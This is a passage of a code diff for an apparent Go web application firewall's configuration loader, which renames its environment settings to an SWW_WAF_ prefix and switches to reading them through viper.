StateWriteDelay: env.durationNotOff("SWW_STATE_WRITE_DELAY", "10s"),
|
StateWriteDelay: env.durationNotOff("SWW_WAF_STATE_WRITE_DELAY", "10s"),
|
||||||
StateCounterInterval: env.durationNotOff("SWW_STATE_COUNTER_INTERVAL", "15m"),
|
StateCounterInterval: env.durationNotOff("SWW_WAF_STATE_COUNTER_INTERVAL", "15m"),
|
||||||
LogRequestHeaders: env.headerNames("SWW_LOG_REQUEST_HEADERS",
|
LogRequestHeaders: env.headerNames("SWW_WAF_LOG_REQUEST_HEADERS",
|
||||||
"accept,accept-language,accept-encoding,content-type,origin,range"),
|
"accept,accept-language,accept-encoding,content-type,origin,range"),
|
||||||
LogLevel: env.logLevel("SWW_LOG_LEVEL", "info"),
|
LogLevel: env.logLevel("SWW_WAF_LOG_LEVEL", "info"),
|
||||||
AdminToken: env.token("SWW_ADMIN_TOKEN"),
|
AdminToken: env.token("SWW_WAF_ADMIN_TOKEN"),
|
||||||
MetricsToken: env.token("SWW_METRICS_TOKEN"),
|
MetricsToken: env.token("SWW_WAF_METRICS_TOKEN"),
|
||||||
MetricsTopN: env.numberNotOff("SWW_METRICS_TOP_N", "50"),
|
MetricsTopN: env.numberNotOff("SWW_WAF_METRICS_TOP_N", "50"),
|
||||||
RulesDir: env.value("SWW_RULES_DIR", "/etc/sww/rules.d"),
|
RulesDir: env.value("SWW_WAF_RULES_DIR", "/etc/sww/rules.d"),
|
||||||
RulesEnabled: env.boolean("SWW_RULES_ENABLED", "true"),
|
RulesEnabled: env.boolean("SWW_WAF_RULES_ENABLED", "true"),
|
||||||
WAFMode: env.wafMode("SWW_WAF_MODE", WAFModeBlock),
|
WAFMode: env.wafMode("SWW_WAF_CORE_RULE_SET_MODE", WAFModeBlock),
|
||||||
WAFParanoiaLevel: env.paranoiaLevel("SWW_WAF_PARANOIA_LEVEL", "1"),
|
WAFParanoiaLevel: env.paranoiaLevel("SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL", "1"),
|
||||||
WAFAnomalyThreshold: env.numberOrOff("SWW_WAF_ANOMALY_THRESHOLD", "5"),
|
WAFAnomalyThreshold: env.numberOrOff("SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD", "5"),
|
||||||
WAFDisabledRules: env.ruleIDs("SWW_WAF_DISABLED_RULES",
|
WAFDisabledRules: env.ruleIDs("SWW_WAF_CORE_RULE_SET_DISABLED_RULES",
|
||||||
"920340,920420,920440,920640,930130,930140"),
|
"920340,920420,920440,920640,930130,930140"),
|
||||||
WAFExemptPaths: env.pathPrefixes("SWW_WAF_EXEMPT_PATHS", ""),
|
WAFExemptPaths: env.pathPrefixes("SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS", ""),
|
||||||
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
|
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_CORE_RULE_SET_BODY_LIMIT", off),
|
||||||
CoreRuleSetExclusionsFile: env.filePath(
|
CoreRuleSetExclusionsFile: env.filePath(
|
||||||
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
||||||
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
|
TrapPaths: env.trapPaths("SWW_WAF_TRAP_PATHS"),
|
||||||
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
|
ErrorBurstThreshold: env.count("SWW_WAF_ERROR_BURST_THRESHOLD", "30"),
|
||||||
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
|
LogRemoteURL: env.logRemoteURL("SWW_WAF_LOG_REMOTE_URL"),
|
||||||
LogRemoteTLSCAs: env.certificates("SWW_LOG_REMOTE_TLS_CA_FILE"),
|
LogRemoteTLSCAs: env.certificates("SWW_WAF_LOG_REMOTE_TLS_CA_FILE"),
|
||||||
LogRemoteBuffer: env.numberNotOff("SWW_LOG_REMOTE_BUFFER", "10000"),
|
LogRemoteBuffer: env.numberNotOff("SWW_WAF_LOG_REMOTE_BUFFER", "10000"),
|
||||||
LogRemoteFacility: env.facility("SWW_LOG_REMOTE_FACILITY", "local0"),
|
LogRemoteFacility: env.facility("SWW_WAF_LOG_REMOTE_FACILITY", "local0"),
|
||||||
AlertWebhookURL: env.webhookURL("SWW_ALERT_WEBHOOK_URL"),
|
AlertWebhookURL: env.webhookURL("SWW_WAF_ALERT_WEBHOOK_URL"),
|
||||||
AlertWebhookHeaders: env.webhookHeaders("SWW_ALERT_WEBHOOK_HEADERS"),
|
AlertWebhookHeaders: env.webhookHeaders("SWW_WAF_ALERT_WEBHOOK_HEADERS"),
|
||||||
AlertSlackWebhookURL: env.webhookURL("SWW_ALERT_SLACK_WEBHOOK_URL"),
|
AlertSlackWebhookURL: env.webhookURL("SWW_WAF_ALERT_SLACK_WEBHOOK_URL"),
|
||||||
AlertNtfyURL: env.webhookURL("SWW_ALERT_NTFY_URL"),
|
AlertNtfyURL: env.webhookURL("SWW_WAF_ALERT_NTFY_URL"),
|
||||||
AlertNtfyToken: env.secret("SWW_ALERT_NTFY_TOKEN"),
|
AlertNtfyToken: env.secret("SWW_WAF_ALERT_NTFY_TOKEN"),
|
||||||
AlertEvents: env.alertEvents("SWW_ALERT_EVENTS",
|
AlertEvents: env.alertEvents("SWW_WAF_ALERT_EVENTS",
|
||||||
strings.Join(alerts.Events(), ",")),
|
strings.Join(alerts.Events(), ",")),
|
||||||
AlertCooldown: env.duration("SWW_ALERT_COOLDOWN", "15m"),
|
AlertCooldown: env.duration("SWW_WAF_ALERT_COOLDOWN", "15m"),
|
||||||
AlertMaxPerHour: env.numberOrOff("SWW_ALERT_MAX_PER_HOUR", "60"),
|
AlertMaxPerHour: env.numberOrOff("SWW_WAF_ALERT_MAX_PER_HOUR", "60"),
|
||||||
AnomalyClient: env.thresholds("SWW_ANOMALY_CLIENT_"),
|
AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"),
|
||||||
AnomalyNet: env.thresholds("SWW_ANOMALY_NET_"),
|
AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"),
|
||||||
AnomalyASN: env.thresholds("SWW_ANOMALY_ASN_"),
|
AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"),
|
||||||
AnomalyTotal: env.thresholds("SWW_ANOMALY_TOTAL_"),
|
AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"),
|
||||||
AnomalyWatch: env.thresholds("SWW_WATCH_"),
|
AnomalyWatch: env.thresholds("SWW_WAF_WATCH_"),
|
||||||
AnomalyNetV4Prefix: env.v4Prefix("SWW_ANOMALY_NET_V4_PREFIX", "24"),
|
AnomalyNetV4Prefix: env.v4Prefix("SWW_WAF_ANOMALY_NET_V4_PREFIX", "24"),
|
||||||
AnomalyNetV6Prefix: env.v6Prefix("SWW_ANOMALY_NET_V6_PREFIX", "48"),
|
AnomalyNetV6Prefix: env.v6Prefix("SWW_WAF_ANOMALY_NET_V6_PREFIX", "48"),
|
||||||
WatchNets: env.namedNetblocks("SWW_WATCH_NETS"),
|
WatchNets: env.namedNetblocks("SWW_WAF_WATCH_NETS"),
|
||||||
}
|
}
|
||||||
|
|
||||||
cfg.LogRemoteAppName = env.appName("SWW_LOG_REMOTE_APP_NAME",
|
cfg.LogRemoteAppName = env.appName("SWW_WAF_LOG_REMOTE_APP_NAME",
|
||||||
cfg.InstanceName, cfg.LogRemoteURL != nil)
|
cfg.InstanceName, cfg.LogRemoteURL != nil)
|
||||||
cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action(
|
cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action(
|
||||||
"SWW_BLOCKLIST_ACTION", "deny")
|
"SWW_WAF_BLOCKLIST_ACTION", "deny")
|
||||||
cfg.ReputationAction, cfg.ReputationLimitPercent = env.action(
|
cfg.ReputationAction, cfg.ReputationLimitPercent = env.action(
|
||||||
"SWW_REPUTATION_ACTION", "limit:25")
|
"SWW_WAF_REPUTATION_ACTION", "limit:25")
|
||||||
|
|
||||||
env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil)
|
env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil)
|
||||||
env.checkLookupDBPath(cfg)
|
env.checkLookupDBPath(cfg)
|
||||||
@@ -629,8 +629,8 @@ func FromEnvironment(
|
|||||||
// Command reads only SWW_COMMAND, the command the image runs and its
|
// Command reads only SWW_COMMAND, the command the image runs and its
|
||||||
// health check checks: rproxy when it is unset or empty, or discriminator. It cannot
|
// health check checks: rproxy when it is unset or empty, or discriminator. It cannot
|
||||||
// be given as a file. Any other value is an error that names the setting.
|
// be given as a file. Any other value is an error that names the setting.
|
||||||
func Command(lookupEnv func(string) (string, bool)) (string, error) {
|
func Command(v *viper.Viper) (string, error) {
|
||||||
command, _ := lookupEnv("SWW_COMMAND")
|
command, _ := readSetting(v, "SWW_COMMAND")
|
||||||
|
|
||||||
switch command {
|
switch command {
|
||||||
case "", "rproxy":
|
case "", "rproxy":
|
||||||
@@ -642,22 +642,22 @@ func Command(lookupEnv func(string) (string, bool)) (string, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// DiscriminatorListenAddr reads only SWW_LISTEN_ADDR, which may be given as a
|
// DiscriminatorListenAddr reads only SWW_WAF_LISTEN_ADDR, which may be given as a
|
||||||
// file, as FromEnvironment does. The health check in discriminator's container needs
|
// file, as FromEnvironment does. The health check in discriminator's container needs
|
||||||
// no other setting, so it reads no other, nor a file that another names.
|
// no other setting, so it reads no other, nor a file that another names.
|
||||||
func DiscriminatorListenAddr(lookupEnv func(string) (string, bool)) (string, error) {
|
func DiscriminatorListenAddr(v *viper.Viper) (string, error) {
|
||||||
env := &environment{lookupEnv: lookupEnv}
|
env := &environment{v: v}
|
||||||
listenAddr := env.address("SWW_LISTEN_ADDR")
|
listenAddr := env.address("SWW_WAF_LISTEN_ADDR")
|
||||||
|
|
||||||
return listenAddr, env.err
|
return listenAddr, env.err
|
||||||
}
|
}
|
||||||
|
|
||||||
// InstanceName reads only SWW_INSTANCE_NAME, which may be given as a
|
// InstanceName reads only SWW_WAF_INSTANCE_NAME, which may be given as a
|
||||||
// file, as FromEnvironment does, so that the line saying a setting is
|
// file, as FromEnvironment does, so that the line saying a setting is
|
||||||
// invalid carries it too. A file that cannot be read gives the default
|
// invalid carries it too. A file that cannot be read gives the default
|
||||||
// here, and FromEnvironment then stops the start over it.
|
// here, and FromEnvironment then stops the start over it.
|
||||||
func InstanceName(lookupEnv func(string) (string, bool)) string {
|
func InstanceName(v *viper.Viper) string {
|
||||||
env := &environment{lookupEnv: lookupEnv}
|
env := &environment{v: v}
|
||||||
|
|
||||||
return env.instanceName()
|
return env.instanceName()
|
||||||
}
|
}
|
||||||
@@ -673,11 +673,23 @@ func (c *Config) LogValue() slog.Value {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// environment is where FromEnvironment reads the settings: it notes each
|
// environment is where FromEnvironment reads the settings: it notes each
|
||||||
// value for the log, and keeps the first error.
|
// value for the log, and keeps the first error. It reads every setting
|
||||||
|
// through v, the viper NewViper returns, and honours each setting's _FILE
|
||||||
|
// form too.
|
||||||
type environment struct {
|
type environment struct {
|
||||||
lookupEnv func(string) (string, bool)
|
v *viper.Viper
|
||||||
settings []slog.Attr
|
settings []slog.Attr
|
||||||
err error
|
err error
|
||||||
|
}
|
||||||
|
|
||||||
|
// readSetting returns a setting's value and whether it is set, reading it
|
||||||
|
// through v.
|
||||||
|
func readSetting(v *viper.Viper, name string) (string, bool) {
|
||||||
|
if !v.IsSet(name) {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
|
||||||
|
return v.GetString(name), true
|
||||||
}
|
}
|
||||||
|
|
||||||
// value returns a setting's value, or its default when it is not set,
|
// value returns a setting's value, or its default when it is not set,
|
||||||
@@ -698,10 +710,10 @@ func (e *environment) value(name, defaultValue string) string {
|
|||||||
// names, less one newline at their end. It notes that file's path for the
|
// names, less one newline at their end. It notes that file's path for the
|
||||||
// log. Both variables set, or a file that cannot be read, is an error.
|
// log. Both variables set, or a file that cannot be read, is an error.
|
||||||
func (e *environment) lookup(name string) (string, bool) {
|
func (e *environment) lookup(name string) (string, bool) {
|
||||||
value, set := e.lookupEnv(name)
|
value, set := readSetting(e.v, name)
|
||||||
fileName := name + "_FILE"
|
fileName := name + "_FILE"
|
||||||
|
|
||||||
path, inFile := e.lookupEnv(fileName)
|
path, inFile := readSetting(e.v, fileName)
|
||||||
if !inFile {
|
if !inFile {
|
||||||
return value, set
|
return value, set
|
||||||
}
|
}
|
||||||
@@ -893,7 +905,7 @@ func (e *environment) percents(
|
|||||||
return percents
|
return percents
|
||||||
}
|
}
|
||||||
|
|
||||||
// tagLists reads SWW_TAG_LISTS, which is empty by default.
|
// tagLists reads SWW_WAF_TAG_LISTS, which is empty by default.
|
||||||
func (e *environment) tagLists(name string) []TagList {
|
func (e *environment) tagLists(name string) []TagList {
|
||||||
lists, err := parseTagLists(e.value(name, ""))
|
lists, err := parseTagLists(e.value(name, ""))
|
||||||
e.check(name, err)
|
e.check(name, err)
|
||||||
@@ -1057,32 +1069,32 @@ func (e *environment) lookupSource(name, defaultValue string) string {
|
|||||||
return source
|
return source
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkLookupDBPath refuses SWW_LOOKUP_SOURCE=file without
|
// checkLookupDBPath refuses SWW_WAF_LOOKUP_SOURCE=file without
|
||||||
// SWW_LOOKUP_DB_PATH, and SWW_LOOKUP_DB_PATH with any other source:
|
// SWW_WAF_LOOKUP_DB_PATH, and SWW_WAF_LOOKUP_DB_PATH with any other source:
|
||||||
// one source at a time.
|
// one source at a time.
|
||||||
func (e *environment) checkLookupDBPath(cfg *Config) {
|
func (e *environment) checkLookupDBPath(cfg *Config) {
|
||||||
switch {
|
switch {
|
||||||
case cfg.LookupSource == fileSource && cfg.LookupDBPath == "":
|
case cfg.LookupSource == fileSource && cfg.LookupDBPath == "":
|
||||||
e.check("SWW_LOOKUP_SOURCE", fmt.Errorf(
|
e.check("SWW_WAF_LOOKUP_SOURCE", fmt.Errorf(
|
||||||
"is file while SWW_LOOKUP_DB_PATH is unset; %w", errNeedsDBPath))
|
"is file while SWW_WAF_LOOKUP_DB_PATH is unset; %w", errNeedsDBPath))
|
||||||
case cfg.LookupSource != fileSource && cfg.LookupDBPath != "":
|
case cfg.LookupSource != fileSource && cfg.LookupDBPath != "":
|
||||||
e.check("SWW_LOOKUP_DB_PATH", fmt.Errorf(
|
e.check("SWW_WAF_LOOKUP_DB_PATH", fmt.Errorf(
|
||||||
"is set while SWW_LOOKUP_SOURCE is %s; %w", cfg.LookupSource, errDBPathUnused))
|
"is set while SWW_WAF_LOOKUP_SOURCE is %s; %w", cfg.LookupSource, errDBPathUnused))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkCountriesAndLookups refuses a country in
|
// checkCountriesAndLookups refuses a country in
|
||||||
// SWW_EXCLUSIVELY_ALLOWED_COUNTRIES whose tag is in SWW_TAG_DENY, and,
|
// SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES whose tag is in SWW_WAF_TAG_DENY, and,
|
||||||
// while SWW_LOOKUP_SOURCE is off, each setting that needs clients looked
|
// while SWW_WAF_LOOKUP_SOURCE is off, each setting that needs clients looked
|
||||||
// up: the country list, SWW_ADD_LOOKUP_HEADERS, the tag settings that name
|
// up: the country list, SWW_WAF_ADD_LOOKUP_HEADERS, the tag settings that name
|
||||||
// an asn= or country= tag, the biased thresholds,
|
// an asn= or country= tag, the biased thresholds,
|
||||||
// SWW_ASN_LIMIT_PERCENT_URL among them, of which
|
// SWW_WAF_ASN_LIMIT_PERCENT_URL among them, of which
|
||||||
// SWW_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a
|
// SWW_WAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a
|
||||||
// limit, and the anomaly thresholds per AS number.
|
// limit, and the anomaly thresholds per AS number.
|
||||||
func (e *environment) checkCountriesAndLookups(cfg *Config) {
|
func (e *environment) checkCountriesAndLookups(cfg *Config) {
|
||||||
for _, country := range cfg.ExclusivelyAllowedCountries {
|
for _, country := range cfg.ExclusivelyAllowedCountries {
|
||||||
if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) {
|
if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) {
|
||||||
e.check("SWW_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
e.check("SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
||||||
fmt.Errorf("%q %w", country, errOnBothLists))
|
fmt.Errorf("%q %w", country, errOnBothLists))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1101,77 +1113,77 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) {
|
|||||||
name string
|
name string
|
||||||
set bool
|
set bool
|
||||||
}{
|
}{
|
||||||
{"SWW_EXCLUSIVELY_ALLOWED_COUNTRIES", len(cfg.ExclusivelyAllowedCountries) > 0},
|
{"SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", len(cfg.ExclusivelyAllowedCountries) > 0},
|
||||||
{"SWW_ADD_LOOKUP_HEADERS", cfg.AddLookupHeaders},
|
{"SWW_WAF_ADD_LOOKUP_HEADERS", cfg.AddLookupHeaders},
|
||||||
{"SWW_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)},
|
{"SWW_WAF_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)},
|
||||||
{"SWW_TAG_LIMIT_PERCENT", slices.ContainsFunc(
|
{"SWW_WAF_TAG_LIMIT_PERCENT", slices.ContainsFunc(
|
||||||
slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)},
|
slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)},
|
||||||
{"SWW_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0},
|
{"SWW_WAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0},
|
||||||
{"SWW_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0},
|
{"SWW_WAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0},
|
||||||
{"SWW_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100},
|
{"SWW_WAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100},
|
||||||
{"SWW_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""},
|
{"SWW_WAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""},
|
||||||
{"SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0},
|
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0},
|
||||||
{"SWW_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0},
|
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0},
|
||||||
{"SWW_ANOMALY_ASN_BYTES_PER_MINUTE", cfg.AnomalyASN.BytesPerMinute > 0},
|
{"SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE", cfg.AnomalyASN.BytesPerMinute > 0},
|
||||||
{"SWW_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0},
|
{"SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0},
|
||||||
} {
|
} {
|
||||||
if setting.set {
|
if setting.set {
|
||||||
e.check(setting.name, fmt.Errorf("is set while SWW_LOOKUP_SOURCE is off; %w",
|
e.check(setting.name, fmt.Errorf("is set while SWW_WAF_LOOKUP_SOURCE is off; %w",
|
||||||
errNeedsLookups))
|
errNeedsLookups))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkASNLimitPercentURL refuses SWW_ASN_LIMIT_PERCENT_URL naming a
|
// checkASNLimitPercentURL refuses SWW_WAF_ASN_LIMIT_PERCENT_URL naming a
|
||||||
// blocklist too: the file at a URL is fetched as one list or the other.
|
// blocklist too: the file at a URL is fetched as one list or the other.
|
||||||
func (e *environment) checkASNLimitPercentURL(cfg *Config) {
|
func (e *environment) checkASNLimitPercentURL(cfg *Config) {
|
||||||
if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) {
|
if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) {
|
||||||
e.check("SWW_ASN_LIMIT_PERCENT_URL",
|
e.check("SWW_WAF_ASN_LIMIT_PERCENT_URL",
|
||||||
fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs))
|
fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkCrowdSec refuses SWW_CROWDSEC_LAPI_URL without
|
// checkCrowdSec refuses SWW_WAF_CROWDSEC_LAPI_URL without
|
||||||
// SWW_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
|
// SWW_WAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
|
||||||
// that is fetched as another list too.
|
// that is fetched as another list too.
|
||||||
func (e *environment) checkCrowdSec(cfg *Config) {
|
func (e *environment) checkCrowdSec(cfg *Config) {
|
||||||
decisionsURL := cfg.CrowdSecDecisionsURL
|
decisionsURL := cfg.CrowdSecDecisionsURL
|
||||||
|
|
||||||
switch {
|
switch {
|
||||||
case decisionsURL != "" && cfg.CrowdSecKey == "":
|
case decisionsURL != "" && cfg.CrowdSecKey == "":
|
||||||
e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf(
|
e.check("SWW_WAF_CROWDSEC_LAPI_URL", fmt.Errorf(
|
||||||
"is set while SWW_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey))
|
"is set while SWW_WAF_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey))
|
||||||
case decisionsURL == "" && cfg.CrowdSecKey != "":
|
case decisionsURL == "" && cfg.CrowdSecKey != "":
|
||||||
e.check("SWW_CROWDSEC_LAPI_KEY", fmt.Errorf(
|
e.check("SWW_WAF_CROWDSEC_LAPI_KEY", fmt.Errorf(
|
||||||
"is set while SWW_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused))
|
"is set while SWW_WAF_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused))
|
||||||
case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
|
case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
|
||||||
decisionsURL == cfg.ASNLimitPercentURL):
|
decisionsURL == cfg.ASNLimitPercentURL):
|
||||||
e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf("gives the decision list %q, which %w",
|
e.check("SWW_WAF_CROWDSEC_LAPI_URL",
|
||||||
decisionsURL, errAnotherList))
|
fmt.Errorf("gives the decision list %q, which %w", decisionsURL, errAnotherList))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkTagLists refuses a list of SWW_TAG_LISTS whose URL is fetched as
|
// checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as
|
||||||
// another list too: the file at a URL is read as one kind of list.
|
// another list too: the file at a URL is read as one kind of list.
|
||||||
func (e *environment) checkTagLists(cfg *Config) {
|
func (e *environment) checkTagLists(cfg *Config) {
|
||||||
for _, list := range cfg.TagLists {
|
for _, list := range cfg.TagLists {
|
||||||
if slices.Contains(cfg.BlocklistURLs, list.URL) ||
|
if slices.Contains(cfg.BlocklistURLs, list.URL) ||
|
||||||
list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
|
list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
|
||||||
e.check("SWW_TAG_LISTS", fmt.Errorf("%q %w", list.URL, errFetchedOtherwise))
|
e.check("SWW_WAF_TAG_LISTS", fmt.Errorf("%q %w", list.URL, errFetchedOtherwise))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkTags refuses a tag of SWW_TAG_DENY or SWW_TAG_LIMIT_PERCENT that would
|
// checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would
|
||||||
// never apply: crowdsec, whose request is refused before tags are acted on, and
|
// never apply: crowdsec, whose request is refused before tags are acted on, and
|
||||||
// any tag these settings cannot give a request.
|
// any tag these settings cannot give a request.
|
||||||
func (e *environment) checkTags(cfg *Config) {
|
func (e *environment) checkTags(cfg *Config) {
|
||||||
for _, tag := range cfg.TagDeny {
|
for _, tag := range cfg.TagDeny {
|
||||||
e.check("SWW_TAG_DENY", checkTag(cfg, tag))
|
e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag))
|
||||||
}
|
}
|
||||||
|
|
||||||
for tag := range cfg.TagLimitPercent {
|
for tag := range cfg.TagLimitPercent {
|
||||||
e.check("SWW_TAG_LIMIT_PERCENT", checkTag(cfg, tag))
|
e.check("SWW_WAF_TAG_LIMIT_PERCENT", checkTag(cfg, tag))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1216,13 +1228,13 @@ func requestCanGetTag(cfg *Config, tag string) bool {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// TagsNeedLookup reports whether SWW_TAG_DENY or SWW_TAG_LIMIT_PERCENT
|
// TagsNeedLookup reports whether SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT
|
||||||
// names an asn= or country= tag.
|
// names an asn= or country= tag.
|
||||||
func (c *Config) TagsNeedLookup() bool {
|
func (c *Config) TagsNeedLookup() bool {
|
||||||
return slices.ContainsFunc(c.TagDeny, isLookupTag) || tagLimitNeedsLookups(c)
|
return slices.ContainsFunc(c.TagDeny, isLookupTag) || tagLimitNeedsLookups(c)
|
||||||
}
|
}
|
||||||
|
|
||||||
// tagLimitNeedsLookups reports whether SWW_TAG_LIMIT_PERCENT names an asn=
|
// tagLimitNeedsLookups reports whether SWW_WAF_TAG_LIMIT_PERCENT names an asn=
|
||||||
// or country= tag.
|
// or country= tag.
|
||||||
func tagLimitNeedsLookups(cfg *Config) bool {
|
func tagLimitNeedsLookups(cfg *Config) bool {
|
||||||
for tag := range cfg.TagLimitPercent {
|
for tag := range cfg.TagLimitPercent {
|
||||||
@@ -1392,7 +1404,7 @@ func (e *environment) logRemoteURL(name string) *url.URL {
|
|||||||
// unset. Its value names a file already, so, unlike the other settings,
|
// unset. Its value names a file already, so, unlike the other settings,
|
||||||
// it has no _FILE form. Whoever uses the file reads it.
|
// it has no _FILE form. Whoever uses the file reads it.
|
||||||
func (e *environment) filePath(name string) string {
|
func (e *environment) filePath(name string) string {
|
||||||
path, _ := e.lookupEnv(name)
|
path, _ := readSetting(e.v, name)
|
||||||
e.settings = append(e.settings, slog.String(name, path))
|
e.settings = append(e.settings, slog.String(name, path))
|
||||||
|
|
||||||
return path
|
return path
|
||||||
@@ -1402,7 +1414,7 @@ func (e *environment) filePath(name string) string {
|
|||||||
// certificates. Unset or empty, it is nil. Its value names a file
|
// certificates. Unset or empty, it is nil. Its value names a file
|
||||||
// already, so, unlike the other settings, it has no _FILE form.
|
// already, so, unlike the other settings, it has no _FILE form.
|
||||||
func (e *environment) certificates(name string) *x509.CertPool {
|
func (e *environment) certificates(name string) *x509.CertPool {
|
||||||
path, _ := e.lookupEnv(name)
|
path, _ := readSetting(e.v, name)
|
||||||
e.settings = append(e.settings, slog.String(name, path))
|
e.settings = append(e.settings, slog.String(name, path))
|
||||||
|
|
||||||
if path == "" {
|
if path == "" {
|
||||||
@@ -1435,14 +1447,14 @@ func (e *environment) facility(name, defaultValue string) int {
|
|||||||
return number
|
return number
|
||||||
}
|
}
|
||||||
|
|
||||||
// instanceName reads SWW_INSTANCE_NAME, by default the host's name. It
|
// instanceName reads SWW_WAF_INSTANCE_NAME, by default the host's name. It
|
||||||
// must be valid UTF-8: the metrics library panics on a label that is not.
|
// must be valid UTF-8: the metrics library panics on a label that is not.
|
||||||
func (e *environment) instanceName() string {
|
func (e *environment) instanceName() string {
|
||||||
hostname, _ := os.Hostname() // "" when the host has no name to give
|
hostname, _ := os.Hostname() // "" when the host has no name to give
|
||||||
|
|
||||||
value := e.value("SWW_INSTANCE_NAME", hostname)
|
value := e.value("SWW_WAF_INSTANCE_NAME", hostname)
|
||||||
if !utf8.ValidString(value) {
|
if !utf8.ValidString(value) {
|
||||||
e.check("SWW_INSTANCE_NAME", fmt.Errorf("%q %w", value, errNotUTF8))
|
e.check("SWW_WAF_INSTANCE_NAME", fmt.Errorf("%q %w", value, errNotUTF8))
|
||||||
}
|
}
|
||||||
|
|
||||||
return value
|
return value
|
||||||
@@ -1467,7 +1479,7 @@ func (e *environment) appName(
|
|||||||
case set:
|
case set:
|
||||||
e.check(name, fmt.Errorf("%q %w", value, errNotAppName))
|
e.check(name, fmt.Errorf("%q %w", value, errNotAppName))
|
||||||
case sending:
|
case sending:
|
||||||
e.check(name, fmt.Errorf("is unset, and SWW_INSTANCE_NAME %q, its default, %w",
|
e.check(name, fmt.Errorf("is unset, and SWW_WAF_INSTANCE_NAME %q, its default, %w",
